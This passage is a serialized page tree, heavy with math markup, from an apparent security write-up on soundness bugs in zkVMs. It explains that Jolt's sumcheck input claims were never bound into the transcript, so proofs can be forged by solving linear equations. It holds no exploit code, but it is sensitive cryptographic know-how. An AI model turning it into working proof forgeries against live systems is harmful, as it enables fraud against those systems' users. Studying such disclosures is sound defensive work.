",{"type":19,"tag":27,"props":112599,"children":112601},{"className":112600},[1411,1412],[112602],{"type":19,"tag":168,"props":112603,"children":112605},{"className":112604},[1417],[112606],{"type":19,"tag":168,"props":112607,"children":112609},{"className":112608,"ariaHidden":1423},[1422],[112610,112639,112666,112694],{"type":19,"tag":168,"props":112611,"children":112613},{"className":112612},[1428],[112614,112619,112626,112630,112635],{"type":19,"tag":168,"props":112615,"children":112618},{"className":112616,"style":112617},[1433],"height:0.4445em;",[],{"type":19,"tag":168,"props":112620,"children":112623},{"className":112621,"style":112622},[1439,19043],"margin-right:0.0037em;",[112624],{"type":24,"value":112625},"α",{"type":19,"tag":168,"props":112627,"children":112629},{"className":112628,"style":1521},[1520],[],{"type":19,"tag":168,"props":112631,"children":112633},{"className":112632},[1526],[112634],{"type":24,"value":108796},{"type":19,"tag":168,"props":112636,"children":112638},{"className":112637,"style":1521},[1520],[],{"type":19,"tag":168,"props":112640,"children":112642},{"className":112641},[1428],[112643,112648,112653,112657,112662],{"type":19,"tag":168,"props":112644,"children":112647},{"className":112645,"style":112646},[1433],"height:0.7667em;vertical-align:-0.0833em;",[],{"type":19,"tag":168,"props":112649,"children":112651},{"className":112650,"style":105732},[1439,19043],[112652],{"type":24,"value":106056},{"type":19,"tag":168,"props":112654,"children":112656},{"className":112655,"style":1521},[1520],[],{"type":19,"tag":168,"props":112658,"children":112660},{"className":112659},[1526],[112661],{"type":24,"value":1811},{"type":19,"tag":168,"props":112663,"children":112665},{"className":112664,"style":1521},[1520],[],{"type":19,"tag":168,"props":112667,"children":112669},{"className":112668},[1428],[112670,112674,112681,112685,112690],{"type":19,"tag":168,"props":112671,"children":112673},{"className":112672,"style":112589},[1433],[],{"type":19,"tag":168,"props":112675,"children":112678},{"className":112676,"style":112677},[1439,19043],"margin-right:0.05278em;",[112679],{"type":24,"value":112680},"β",{"type":19,"tag":168,"props":112682,"children":112684},{"className":112683,"style":1618},[1520],[],{"type":19,"tag":168,"props":112686,"children":112688},{"className":112687},[1623],[112689],{"type":24,"value":486},{"type":19,"tag":168,"props":112691,"children":112693},{"className":112692,"style":1618},[1520],[],{"type":19,"tag":168,"props":112695,"children":112697},{"className":112696},[1428],[112698,112702],{"type":19,"tag":168,"props":112699,"children":112701},{"className":112700,"style":112554},[1433],[],{"type":19,"tag":168,"props":112703,"children":112705},{"className":112704},[1439,24],[112706],{"type":19,"tag":168,"props":112707,"children":112709},{"className":112708},[1439],[112710],{"type":24,"value":112565},{"type":19,"tag":47,"props":112712,"children":112713},{},[112714,112716],{"type":24,"value":112715},"Solve: ",{"type":19,"tag":27,"props":112717,"children":112719},{"className":112718},[1411,1412],[112720],{"type":19,"tag":168,"props":112721,"children":112723},{"className":112722},[1417],[112724],{"type":19,"tag":168,"props":112725,"children":112727},{"className":112726,"ariaHidden":1423},[1422],[112728,112754,112789],{"type":19,"tag":168,"props":112729,"children":112731},{"className":112730},[1428],[112732,112736,112741,112745,112750],{"type":19,"tag":168,"props":112733,"children":112735},{"className":112734,"style":19038},[1433],[],{"type":19,"tag":168,"props":112737,"children":112739},{"className":112738,"style":105732},[1439,19043],[112740],{"type":24,"value":106056},{"type":19,"tag":168,"props":112742,"children":112744},{"className":112743,"style":1618},[1520],[],{"type":19,"tag":168,"props":112746,"children":112748},{"className":112747},[1623],[112749],{"type":24,"value":486},{"type":19,"tag":168,"props":112751,"children":112753},{"className":112752,"style":1618},[1520],[],{"type":19,"tag":168,"props":112755,"children":112757},{"className":112756},[1428],[112758,112762,112767,112776,112780,112785],{"type":19,"tag":168,"props":112759,"children":112761},{"className":112760,"style":1541},[1433],[],{"type":19,"tag":168,"props":112763,"children":112765},{"className":112764},[19172],[112766],{"type":24,"value":500},{"type":19,"tag":168,"props":112768,"children":112770},{"className":112769},[1439,24],[112771],{"type":19,"tag":168,"props":112772,"children":112774},{"className":112773},[1439],[112775],{"type":24,"value":112565},{"type":19,"tag":168,"props":112777,"children":112779},{"className":112778,"style":1521},[1520],[],{"type":19,"tag":168,"props":112781,"children":112783},{"className":112782},[1526],[112784],{"type":24,"value":1500},{"type":19,"tag":168,"props":112786,"children":112788},{"className":112787,"style":1521},[1520],[],{"type":19,"tag":168,"props":112790,"children":112792},{"className":112791},[1428],[112793,112797,112802,112807,112812],{"type":19,"tag":168,"props":112794,"children":112796},{"className":112795,"style":1541},[1433],[],{"type":19,"tag":168,"props":112798,"children":112800},{"className":112799,"style":112677},[1439,19043],[112801],{"type":24,"value":112680},{"type":19,"tag":168,"props":112803,"children":112805},{"className":112804},[19194],[112806],{"type":24,"value":524},{"type":19,"tag":168,"props":112808,"children":112810},{"className":112809},[1439],[112811],{"type":24,"value":2012},{"type":19,"tag":168,"props":112813,"children":112815},{"className":112814,"style":112622},[1439,19043],[112816],{"type":24,"value":112625},{"type":19,"tag":20,"props":112818,"children":112819},{},[112820],{"type":24,"value":112821},"In the simplest linear case, forging reduces to solving a low-dimensional field equation, while other systems require small coupled systems.",{"type":19,"tag":20,"props":112823,"children":112824},{},[112825,112827,112905],{"type":24,"value":112826},"For systems with multiple unbound values, we get a system of linear equations. Gaussian elimination solves it in ",{"type":19,"tag":27,"props":112828,"children":112830},{"className":112829},[1411,1412],[112831],{"type":19,"tag":168,"props":112832,"children":112834},{"className":112833},[1417],[112835],{"type":19,"tag":168,"props":112836,"children":112838},{"className":112837,"ariaHidden":1423},[1422],[112839],{"type":19,"tag":168,"props":112840,"children":112842},{"className":112841},[1428],[112843,112848,112854,112859,112900],{"type":19,"tag":168,"props":112844,"children":112847},{"className":112845,"style":112846},[1433],"height:1.0641em;vertical-align:-0.25em;",[],{"type":19,"tag":168,"props":112849,"children":112851},{"className":112850,"style":90535},[1439,19043],[112852],{"type":24,"value":112853},"O",{"type":19,"tag":168,"props":112855,"children":112857},{"className":112856},[19172],[112858],{"type":24,"value":500},{"type":19,"tag":168,"props":112860,"children":112862},{"className":112861},[1439],[112863,112868],{"type":19,"tag":168,"props":112864,"children":112866},{"className":112865},[1439,19043],[112867],{"type":24,"value":53887},{"type":19,"tag":168,"props":112869,"children":112871},{"className":112870},[1456],[112872],{"type":19,"tag":168,"props":112873,"children":112875},{"className":112874},[1461],[112876],{"type":19,"tag":168,"props":112877,"children":112879},{"className":112878},[1466],[112880],{"type":19,"tag":168,"props":112881,"children":112883},{"className":112882,"style":1434},[1471],[112884],{"type":19,"tag":168,"props":112885,"children":112886},{"style":1475},[112887,112891],{"type":19,"tag":168,"props":112888,"children":112890},{"className":112889,"style":1481},[1480],[],{"type":19,"tag":168,"props":112892,"children":112894},{"className":112893},[1486,1487,1488,1489],[112895],{"type":19,"tag":168,"props":112896,"children":112898},{"className":112897},[1439,1489],[112899],{"type":24,"value":14745},{"type":19,"tag":168,"props":112901,"children":112903},{"className":112902},[19194],[112904],{"type":24,"value":524},{"type":24,"value":112906}," field operations. For non-linear constraints, we might need to use some more advanced techniques like resultants and Groebner bases.",{"type":19,"tag":16245,"props":112908,"children":112909},{},[],{"type":19,"tag":36,"props":112911,"children":112913},{"id":112912},"the-six-broken-systems",[112914],{"type":24,"value":112915},"The Six Broken Systems",{"type":19,"tag":20,"props":112917,"children":112918},{},[112919],{"type":19,"tag":1344,"props":112920,"children":112923},{"alt":112921,"src":112922},"3_six_broken_systems","/posts/zkvms-unfaithful-claims/3_six_broken_systems.svg",[],{"type":19,"tag":20,"props":112925,"children":112926},{},[112927],{"type":24,"value":112928},"Now let's see how this plays out in each system. We'll go deep on the first one (Jolt) to establish the pattern, then focus on what's unique about each subsequent system.",{"type":19,"tag":16245,"props":112930,"children":112931},{},[],{"type":19,"tag":7050,"props":112933,"children":112935},{"id":112934},"jolt-a16z",[112936],{"type":24,"value":112937},"Jolt (a16z)",{"type":19,"tag":20,"props":112939,"children":112940},{},[112941],{"type":24,"value":112942},"Jolt is a zkVM for RISC-V programs, built by a16z. It uses sumcheck extensively to verify execution constraints.",{"type":19,"tag":20,"props":112944,"children":112945},{},[112946],{"type":19,"tag":51,"props":112947,"children":112948},{},[112949],{"type":24,"value":112950},"The proof structure:",{"type":19,"tag":158,"props":112952,"children":112954},{"code":112953},"JoltProof {\n commitments: Vec\u003CCommitment>, // Polynomial commitments to trace\n opening_claims: Map\u003COpeningId, Claim>, // \u003C- THE VULNERABLE VALUES\n proofs: Map\u003CStage, SumcheckProof>, // Sumcheck and opening proofs\n ...\n}\n",[112955],{"type":19,"tag":27,"props":112956,"children":112957},{"__ignoreMap":7},[112958],{"type":24,"value":112953},{"type":19,"tag":20,"props":112960,"children":112961},{},[112962],{"type":19,"tag":51,"props":112963,"children":112964},{},[112965],{"type":24,"value":112966},"The verification flow:",{"type":19,"tag":20,"props":112968,"children":112969},{},[112970],{"type":19,"tag":1344,"props":112971,"children":112974},{"alt":112972,"src":112973},"4_jolt_verification_flow","/posts/zkvms-unfaithful-claims/4_jolt_verification_flow.svg",[],{"type":19,"tag":20,"props":112976,"children":112977},{},[112978,112983,112985,112991,112993,112999,113001,113006],{"type":19,"tag":51,"props":112979,"children":112980},{},[112981],{"type":24,"value":112982},"The bug:",{"type":24,"value":112984}," Each sumcheck instance provides an ",{"type":19,"tag":27,"props":112986,"children":112988},{"className":112987},[],[112989],{"type":24,"value":112990},"input_claim",{"type":24,"value":112992},", which is the value the polynomial allegedly sums to over the Boolean hypercube. These claims come from ",{"type":19,"tag":27,"props":112994,"children":112996},{"className":112995},[],[112997],{"type":24,"value":112998},"opening_claims",{"type":24,"value":113000}," in the proof, but they were ",{"type":19,"tag":51,"props":113002,"children":113003},{},[113004],{"type":24,"value":113005},"never absorbed into the transcript",{"type":24,"value":113007}," before the batching coefficients were derived.",{"type":19,"tag":20,"props":113009,"children":113010},{},[113011],{"type":19,"tag":1344,"props":113012,"children":113015},{"alt":113013,"src":113014},"5_jolt_flow","/posts/zkvms-unfaithful-claims/5_jolt_flow.svg",[],{"type":19,"tag":20,"props":113017,"children":113018},{},[113019],{"type":19,"tag":51,"props":113020,"children":113021},{},[113022],{"type":24,"value":113023},"How sumcheck uses opening_claims:",{"type":19,"tag":20,"props":113025,"children":113026},{},[113027,113029,113035,113037,113114],{"type":24,"value":113028},"In Jolt's batched sumcheck, the verifier computes a target value ",{"type":19,"tag":27,"props":113030,"children":113032},{"className":113031},[],[113033],{"type":24,"value":113034},"BatchedClaim",{"type":24,"value":113036}," by taking a random linear combination of the individual claims ",{"type":19,"tag":27,"props":113038,"children":113040},{"className":113039},[1411,1412],[113041],{"type":19,"tag":168,"props":113042,"children":113044},{"className":113043},[1417],[113045],{"type":19,"tag":168,"props":113046,"children":113048},{"className":113047,"ariaHidden":1423},[1422],[113049],{"type":19,"tag":168,"props":113050,"children":113052},{"className":113051},[1428],[113053,113057],{"type":19,"tag":168,"props":113054,"children":113056},{"className":113055,"style":108531},[1433],[],{"type":19,"tag":168,"props":113058,"children":113060},{"className":113059},[1439],[113061,113066],{"type":19,"tag":168,"props":113062,"children":113064},{"className":113063,"style":90769},[1439,19043],[113065],{"type":24,"value":90772},{"type":19,"tag":168,"props":113067,"children":113069},{"className":113068},[1456],[113070],{"type":19,"tag":168,"props":113071,"children":113073},{"className":113072},[1461,19097],[113074,113103],{"type":19,"tag":168,"props":113075,"children":113077},{"className":113076},[1466],[113078,113098],{"type":19,"tag":168,"props":113079,"children":113081},{"className":113080,"style":91064},[1471],[113082],{"type":19,"tag":168,"props":113083,"children":113084},{"style":107963},[113085,113089],{"type":19,"tag":168,"props":113086,"children":113088},{"className":113087,"style":1481},[1480],[],{"type":19,"tag":168,"props":113090,"children":113092},{"className":113091},[1486,1487,1488,1489],[113093],{"type":19,"tag":168,"props":113094,"children":113096},{"className":113095},[1439,19043,1489],[113097],{"type":24,"value":1157},{"type":19,"tag":168,"props":113099,"children":113101},{"className":113100},[19200],[113102],{"type":24,"value":19203},{"type":19,"tag":168,"props":113104,"children":113106},{"className":113105},[1466],[113107],{"type":19,"tag":168,"props":113108,"children":113110},{"className":113109,"style":90618},[1471],[113111],{"type":19,"tag":168,"props":113112,"children":113113},{},[],{"type":24,"value":1922},{"type":19,"tag":20,"props":113116,"children":113117},{},[113118],{"type":19,"tag":27,"props":113119,"children":113121},{"className":113120},[1411,1412],[113122],{"type":19,"tag":168,"props":113123,"children":113125},{"className":113124},[1417],[113126],{"type":19,"tag":168,"props":113127,"children":113129},{"className":113128,"ariaHidden":1423},[1422],[113130,113160,113301],{"type":19,"tag":168,"props":113131,"children":113133},{"className":113132},[1428],[113134,113138,113147,113151,113156],{"type":19,"tag":168,"props":113135,"children":113137},{"className":113136,"style":90450},[1433],[],{"type":19,"tag":168,"props":113139,"children":113141},{"className":113140},[1439,24],[113142],{"type":19,"tag":168,"props":113143,"children":113145},{"className":113144},[1439],[113146],{"type":24,"value":113034},{"type":19,"tag":168,"props":113148,"children":113150},{"className":113149,"style":1618},[1520],[],{"type":19,"tag":168,"props":113152,"children":113154},{"className":113153},[1623],[113155],{"type":24,"value":486},{"type":19,"tag":168,"props":113157,"children":113159},{"className":113158,"style":1618},[1520],[],{"type":19,"tag":168,"props":113161,"children":113163},{"className":113162},[1428],[113164,113169,113226,113230,113288,113292,113297],{"type":19,"tag":168,"props":113165,"children":113168},{"className":113166,"style":113167},[1433],"height:1.0497em;vertical-align:-0.2997em;",[],{"type":19,"tag":168,"props":113170,"children":113172},{"className":113171},[19079],[113173,113178],{"type":19,"tag":168,"props":113174,"children":113176},{"className":113175,"style":19086},[19079,19084,19085],[113177],{"type":24,"value":106329},{"type":19,"tag":168,"props":113179,"children":113181},{"className":113180},[1456],[113182],{"type":19,"tag":168,"props":113183,"children":113185},{"className":113184},[1461,19097],[113186,113215],{"type":19,"tag":168,"props":113187,"children":113189},{"className":113188},[1466],[113190,113210],{"type":19,"tag":168,"props":113191,"children":113193},{"className":113192,"style":111741},[1471],[113194],{"type":19,"tag":168,"props":113195,"children":113196},{"style":19110},[113197,113201],{"type":19,"tag":168,"props":113198,"children":113200},{"className":113199,"style":1481},[1480],[],{"type":19,"tag":168,"props":113202,"children":113204},{"className":113203},[1486,1487,1488,1489],[113205],{"type":19,"tag":168,"props":113206,"children":113208},{"className":113207},[1439,19043,1489],[113209],{"type":24,"value":1157},{"type":19,"tag":168,"props":113211,"children":113213},{"className":113212},[19200],[113214],{"type":24,"value":19203},{"type":19,"tag":168,"props":113216,"children":113218},{"className":113217},[1466],[113219],{"type":19,"tag":168,"props":113220,"children":113222},{"className":113221,"style":112021},[1471],[113223],{"type":19,"tag":168,"props":113224,"children":113225},{},[],{"type":19,"tag":168,"props":113227,"children":113229},{"className":113228,"style":1559},[1520],[],{"type":19,"tag":168,"props":113231,"children":113233},{"className":113232},[1439],[113234,113239],{"type":19,"tag":168,"props":113235,"children":113237},{"className":113236,"style":112622},[1439,19043],[113238],{"type":24,"value":112625},{"type":19,"tag":168,"props":113240,"children":113242},{"className":113241},[1456],[113243],{"type":19,"tag":168,"props":113244,"children":113246},{"className":113245},[1461,19097],[113247,113277],{"type":19,"tag":168,"props":113248,"children":113250},{"className":113249},[1466],[113251,113272],{"type":19,"tag":168,"props":113252,"children":113254},{"className":113253,"style":91064},[1471],[113255],{"type":19,"tag":168,"props":113256,"children":113258},{"style":113257},"top:-2.55em;margin-left:-0.0037em;margin-right:0.05em;",[113259,113263],{"type":19,"tag":168,"props":113260,"children":113262},{"className":113261,"style":1481},[1480],[],{"type":19,"tag":168,"props":113264,"children":113266},{"className":113265},[1486,1487,1488,1489],[113267],{"type":19,"tag":168,"props":113268,"children":113270},{"className":113269},[1439,19043,1489],[113271],{"type":24,"value":1157},{"type":19,"tag":168,"props":113273,"children":113275},{"className":113274},[19200],[113276],{"type":24,"value":19203},{"type":19,"tag":168,"props":113278,"children":113280},{"className":113279},[1466],[113281],{"type":19,"tag":168,"props":113282,"children":113284},{"className":113283,"style":90618},[1471],[113285],{"type":19,"tag":168,"props":113286,"children":113287},{},[],{"type":19,"tag":168,"props":113289,"children":113291},{"className":113290,"style":1521},[1520],[],{"type":19,"tag":168,"props":113293,"children":113295},{"className":113294},[1526],[113296],{"type":24,"value":108796},{"type":19,"tag":168,"props":113298,"children":113300},{"className":113299,"style":1521},[1520],[],{"type":19,"tag":168,"props":113302,"children":113304},{"className":113303},[1428],[113305,113309],{"type":19,"tag":168,"props":113306,"children":113308},{"className":113307,"style":108531},[1433],[],{"type":19,"tag":168,"props":113310,"children":113312},{"className":113311},[1439],[113313,113318],{"type":19,"tag":168,"props":113314,"children":113316},{"className":113315,"style":90769},[1439,19043],[113317],{"type":24,"value":90772},{"type":19,"tag":168,"props":113319,"children":113321},{"className":113320},[1456],[113322],{"type":19,"tag":168,"props":113323,"children":113325},{"className":113324},[1461,19097],[113326,113355],{"type":19,"tag":168,"props":113327,"children":113329},{"className":113328},[1466],[113330,113350],{"type":19,"tag":168,"props":113331,"children":113333},{"className":113332,"style":91064},[1471],[113334],{"type":19,"tag":168,"props":113335,"children":113336},{"style":107963},[113337,113341],{"type":19,"tag":168,"props":113338,"children":113340},{"className":113339,"style":1481},[1480],[],{"type":19,"tag":168,"props":113342,"children":113344},{"className":113343},[1486,1487,1488,1489],[113345],{"type":19,"tag":168,"props":113346,"children":113348},{"className":113347},[1439,19043,1489],[113349],{"type":24,"value":1157},{"type":19,"tag":168,"props":113351,"children":113353},{"className":113352},[19200],[113354],{"type":24,"value":19203},{"type":19,"tag":168,"props":113356,"children":113358},{"className":113357},[1466],[113359],{"type":19,"tag":168,"props":113360,"children":113362},{"className":113361,"style":90618},[1471],[113363],{"type":19,"tag":168,"props":113364,"children":113365},{},[],{"type":19,"tag":20,"props":113367,"children":113368},{},[113369,113371,113448,113450,113455,113457,113534,113536,113613,113615,113692],{"type":24,"value":113370},"where ",{"type":19,"tag":27,"props":113372,"children":113374},{"className":113373},[1411,1412],[113375],{"type":19,"tag":168,"props":113376,"children":113378},{"className":113377},[1417],[113379],{"type":19,"tag":168,"props":113380,"children":113382},{"className":113381,"ariaHidden":1423},[1422],[113383],{"type":19,"tag":168,"props":113384,"children":113386},{"className":113385},[1428],[113387,113391],{"type":19,"tag":168,"props":113388,"children":113390},{"className":113389,"style":107504},[1433],[],{"type":19,"tag":168,"props":113392,"children":113394},{"className":113393},[1439],[113395,113400],{"type":19,"tag":168,"props":113396,"children":113398},{"className":113397,"style":112622},[1439,19043],[113399],{"type":24,"value":112625},{"type":19,"tag":168,"props":113401,"children":113403},{"className":113402},[1456],[113404],{"type":19,"tag":168,"props":113405,"children":113407},{"className":113406},[1461,19097],[113408,113437],{"type":19,"tag":168,"props":113409,"children":113411},{"className":113410},[1466],[113412,113432],{"type":19,"tag":168,"props":113413,"children":113415},{"className":113414,"style":91064},[1471],[113416],{"type":19,"tag":168,"props":113417,"children":113418},{"style":113257},[113419,113423],{"type":19,"tag":168,"props":113420,"children":113422},{"className":113421,"style":1481},[1480],[],{"type":19,"tag":168,"props":113424,"children":113426},{"className":113425},[1486,1487,1488,1489],[113427],{"type":19,"tag":168,"props":113428,"children":113430},{"className":113429},[1439,19043,1489],[113431],{"type":24,"value":1157},{"type":19,"tag":168,"props":113433,"children":113435},{"className":113434},[19200],[113436],{"type":24,"value":19203},{"type":19,"tag":168,"props":113438,"children":113440},{"className":113439},[1466],[113441],{"type":19,"tag":168,"props":113442,"children":113444},{"className":113443,"style":90618},[1471],[113445],{"type":19,"tag":168,"props":113446,"children":113447},{},[],{"type":24,"value":113449}," are random coefficients derived from the transcript. Since ",{"type":19,"tag":27,"props":113451,"children":113453},{"className":113452},[],[113454],{"type":24,"value":112998},{"type":24,"value":113456}," (containing ",{"type":19,"tag":27,"props":113458,"children":113460},{"className":113459},[1411,1412],[113461],{"type":19,"tag":168,"props":113462,"children":113464},{"className":113463},[1417],[113465],{"type":19,"tag":168,"props":113466,"children":113468},{"className":113467,"ariaHidden":1423},[1422],[113469],{"type":19,"tag":168,"props":113470,"children":113472},{"className":113471},[1428],[113473,113477],{"type":19,"tag":168,"props":113474,"children":113476},{"className":113475,"style":108531},[1433],[],{"type":19,"tag":168,"props":113478,"children":113480},{"className":113479},[1439],[113481,113486],{"type":19,"tag":168,"props":113482,"children":113484},{"className":113483,"style":90769},[1439,19043],[113485],{"type":24,"value":90772},{"type":19,"tag":168,"props":113487,"children":113489},{"className":113488},[1456],[113490],{"type":19,"tag":168,"props":113491,"children":113493},{"className":113492},[1461,19097],[113494,113523],{"type":19,"tag":168,"props":113495,"children":113497},{"className":113496},[1466],[113498,113518],{"type":19,"tag":168,"props":113499,"children":113501},{"className":113500,"style":91064},[1471],[113502],{"type":19,"tag":168,"props":113503,"children":113504},{"style":107963},[113505,113509],{"type":19,"tag":168,"props":113506,"children":113508},{"className":113507,"style":1481},[1480],[],{"type":19,"tag":168,"props":113510,"children":113512},{"className":113511},[1486,1487,1488,1489],[113513],{"type":19,"tag":168,"props":113514,"children":113516},{"className":113515},[1439,19043,1489],[113517],{"type":24,"value":1157},{"type":19,"tag":168,"props":113519,"children":113521},{"className":113520},[19200],[113522],{"type":24,"value":19203},{"type":19,"tag":168,"props":113524,"children":113526},{"className":113525},[1466],[113527],{"type":19,"tag":168,"props":113528,"children":113530},{"className":113529,"style":90618},[1471],[113531],{"type":19,"tag":168,"props":113532,"children":113533},{},[],{"type":24,"value":113535},") were not in the transcript, the ",{"type":19,"tag":27,"props":113537,"children":113539},{"className":113538},[1411,1412],[113540],{"type":19,"tag":168,"props":113541,"children":113543},{"className":113542},[1417],[113544],{"type":19,"tag":168,"props":113545,"children":113547},{"className":113546,"ariaHidden":1423},[1422],[113548],{"type":19,"tag":168,"props":113549,"children":113551},{"className":113550},[1428],[113552,113556],{"type":19,"tag":168,"props":113553,"children":113555},{"className":113554,"style":107504},[1433],[],{"type":19,"tag":168,"props":113557,"children":113559},{"className":113558},[1439],[113560,113565],{"type":19,"tag":168,"props":113561,"children":113563},{"className":113562,"style":112622},[1439,19043],[113564],{"type":24,"value":112625},{"type":19,"tag":168,"props":113566,"children":113568},{"className":113567},[1456],[113569],{"type":19,"tag":168,"props":113570,"children":113572},{"className":113571},[1461,19097],[113573,113602],{"type":19,"tag":168,"props":113574,"children":113576},{"className":113575},[1466],[113577,113597],{"type":19,"tag":168,"props":113578,"children":113580},{"className":113579,"style":91064},[1471],[113581],{"type":19,"tag":168,"props":113582,"children":113583},{"style":113257},[113584,113588],{"type":19,"tag":168,"props":113585,"children":113587},{"className":113586,"style":1481},[1480],[],{"type":19,"tag":168,"props":113589,"children":113591},{"className":113590},[1486,1487,1488,1489],[113592],{"type":19,"tag":168,"props":113593,"children":113595},{"className":113594},[1439,19043,1489],[113596],{"type":24,"value":1157},{"type":19,"tag":168,"props":113598,"children":113600},{"className":113599},[19200],[113601],{"type":24,"value":19203},{"type":19,"tag":168,"props":113603,"children":113605},{"className":113604},[1466],[113606],{"type":19,"tag":168,"props":113607,"children":113609},{"className":113608,"style":90618},[1471],[113610],{"type":19,"tag":168,"props":113611,"children":113612},{},[],{"type":24,"value":113614}," values are independent of ",{"type":19,"tag":27,"props":113616,"children":113618},{"className":113617},[1411,1412],[113619],{"type":19,"tag":168,"props":113620,"children":113622},{"className":113621},[1417],[113623],{"type":19,"tag":168,"props":113624,"children":113626},{"className":113625,"ariaHidden":1423},[1422],[113627],{"type":19,"tag":168,"props":113628,"children":113630},{"className":113629},[1428],[113631,113635],{"type":19,"tag":168,"props":113632,"children":113634},{"className":113633,"style":108531},[1433],[],{"type":19,"tag":168,"props":113636,"children":113638},{"className":113637},[1439],[113639,113644],{"type":19,"tag":168,"props":113640,"children":113642},{"className":113641,"style":90769},[1439,19043],[113643],{"type":24,"value":90772},{"type":19,"tag":168,"props":113645,"children":113647},{"className":113646},[1456],[113648],{"type":19,"tag":168,"props":113649,"children":113651},{"className":113650},[1461,19097],[113652,113681],{"type":19,"tag":168,"props":113653,"children":113655},{"className":113654},[1466],[113656,113676],{"type":19,"tag":168,"props":113657,"children":113659},{"className":113658,"style":91064},[1471],[113660],{"type":19,"tag":168,"props":113661,"children":113662},{"style":107963},[113663,113667],{"type":19,"tag":168,"props":113664,"children":113666},{"className":113665,"style":1481},[1480],[],{"type":19,"tag":168,"props":113668,"children":113670},{"className":113669},[1486,1487,1488,1489],[113671],{"type":19,"tag":168,"props":113672,"children":113674},{"className":113673},[1439,19043,1489],[113675],{"type":24,"value":1157},{"type":19,"tag":168,"props":113677,"children":113679},{"className":113678},[19200],[113680],{"type":24,"value":19203},{"type":19,"tag":168,"props":113682,"children":113684},{"className":113683},[1466],[113685],{"type":19,"tag":168,"props":113686,"children":113688},{"className":113687,"style":90618},[1471],[113689],{"type":19,"tag":168,"props":113690,"children":113691},{},[],{"type":24,"value":948},{"type":19,"tag":20,"props":113694,"children":113695},{},[113696],{"type":19,"tag":51,"props":113697,"children":113698},{},[113699],{"type":24,"value":113700},"Why it's linear:",{"type":19,"tag":20,"props":113702,"children":113703},{},[113704,113706],{"type":24,"value":113705},"Due to the compression optimization (prover omits one less coefficient per round), the final verification equation traces back through the rounds and becomes linear in the input claim ",{"type":19,"tag":27,"props":113707,"children":113709},{"className":113708},[1411,1412],[113710],{"type":19,"tag":168,"props":113711,"children":113713},{"className":113712},[1417],[113714],{"type":19,"tag":168,"props":113715,"children":113717},{"className":113716,"ariaHidden":1423},[1422],[113718],{"type":19,"tag":168,"props":113719,"children":113721},{"className":113720},[1428],[113722,113726],{"type":19,"tag":168,"props":113723,"children":113725},{"className":113724,"style":19038},[1433],[],{"type":19,"tag":168,"props":113727,"children":113729},{"className":113728,"style":90769},[1439,19043],[113730],{"type":24,"value":90772},{"type":19,"tag":20,"props":113732,"children":113733},{},[113734],{"type":19,"tag":27,"props":113735,"children":113737},{"className":113736},[1411,1412],[113738],{"type":19,"tag":168,"props":113739,"children":113741},{"className":113740},[1417],[113742],{"type":19,"tag":168,"props":113743,"children":113745},{"className":113744,"ariaHidden":1423},[1422],[113746,113836,113862,113888],{"type":19,"tag":168,"props":113747,"children":113749},{"className":113748},[1428],[113750,113754,113823,113827,113832],{"type":19,"tag":168,"props":113751,"children":113753},{"className":113752,"style":108531},[1433],[],{"type":19,"tag":168,"props":113755,"children":113757},{"className":113756},[1439],[113758,113764],{"type":19,"tag":168,"props":113759,"children":113761},{"className":113760,"style":19575},[1439,19043],[113762],{"type":24,"value":113763},"C",{"type":19,"tag":168,"props":113765,"children":113767},{"className":113766},[1456],[113768],{"type":19,"tag":168,"props":113769,"children":113771},{"className":113770},[1461,19097],[113772,113812],{"type":19,"tag":168,"props":113773,"children":113775},{"className":113774},[1466],[113776,113807],{"type":19,"tag":168,"props":113777,"children":113780},{"className":113778,"style":113779},[1471],"height:0.3361em;",[113781],{"type":19,"tag":168,"props":113782,"children":113784},{"style":113783},"top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;",[113785,113789],{"type":19,"tag":168,"props":113786,"children":113788},{"className":113787,"style":1481},[1480],[],{"type":19,"tag":168,"props":113790,"children":113792},{"className":113791},[1486,1487,1488,1489],[113793],{"type":19,"tag":168,"props":113794,"children":113796},{"className":113795},[1439,1489],[113797],{"type":19,"tag":168,"props":113798,"children":113800},{"className":113799},[1439,24,1489],[113801],{"type":19,"tag":168,"props":113802,"children":113804},{"className":113803},[1439,1489],[113805],{"type":24,"value":113806},"final",{"type":19,"tag":168,"props":113808,"children":113810},{"className":113809},[19200],[113811],{"type":24,"value":19203},{"type":19,"tag":168,"props":113813,"children":113815},{"className":113814},[1466],[113816],{"type":19,"tag":168,"props":113817,"children":113819},{"className":113818,"style":90618},[1471],[113820],{"type":19,"tag":168,"props":113821,"children":113822},{},[],{"type":19,"tag":168,"props":113824,"children":113826},{"className":113825,"style":1618},[1520],[],{"type":19,"tag":168,"props":113828,"children":113830},{"className":113829},[1623],[113831],{"type":24,"value":486},{"type":19,"tag":168,"props":113833,"children":113835},{"className":113834,"style":1618},[1520],[],{"type":19,"tag":168,"props":113837,"children":113839},{"className":113838},[1428],[113840,113844,113849,113853,113858],{"type":19,"tag":168,"props":113841,"children":113843},{"className":113842,"style":112617},[1433],[],{"type":19,"tag":168,"props":113845,"children":113847},{"className":113846},[1439,19043],[113848],{"type":24,"value":269},{"type":19,"tag":168,"props":113850,"children":113852},{"className":113851,"style":1521},[1520],[],{"type":19,"tag":168,"props":113854,"children":113856},{"className":113855},[1526],[113857],{"type":24,"value":108796},{"type":19,"tag":168,"props":113859,"children":113861},{"className":113860,"style":1521},[1520],[],{"type":19,"tag":168,"props":113863,"children":113865},{"className":113864},[1428],[113866,113870,113875,113879,113884],{"type":19,"tag":168,"props":113867,"children":113869},{"className":113868,"style":112646},[1433],[],{"type":19,"tag":168,"props":113871,"children":113873},{"className":113872,"style":90769},[1439,19043],[113874],{"type":24,"value":90772},{"type":19,"tag":168,"props":113876,"children":113878},{"className":113877,"style":1521},[1520],[],{"type":19,"tag":168,"props":113880,"children":113882},{"className":113881},[1526],[113883],{"type":24,"value":1811},{"type":19,"tag":168,"props":113885,"children":113887},{"className":113886,"style":1521},[1520],[],{"type":19,"tag":168,"props":113889,"children":113891},{"className":113890},[1428],[113892,113896],{"type":19,"tag":168,"props":113893,"children":113895},{"className":113894,"style":90450},[1433],[],{"type":19,"tag":168,"props":113897,"children":113899},{"className":113898},[1439,19043],[113900],{"type":24,"value":621},{"type":19,"tag":20,"props":113902,"children":113903},{},[113904,113905,113944,113946,113971,113973,114103,114105,114226],{"type":24,"value":113370},{"type":19,"tag":27,"props":113906,"children":113908},{"className":113907},[1411,1412],[113909],{"type":19,"tag":168,"props":113910,"children":113912},{"className":113911},[1417],[113913],{"type":19,"tag":168,"props":113914,"children":113916},{"className":113915,"ariaHidden":1423},[1422],[113917],{"type":19,"tag":168,"props":113918,"children":113920},{"className":113919},[1428],[1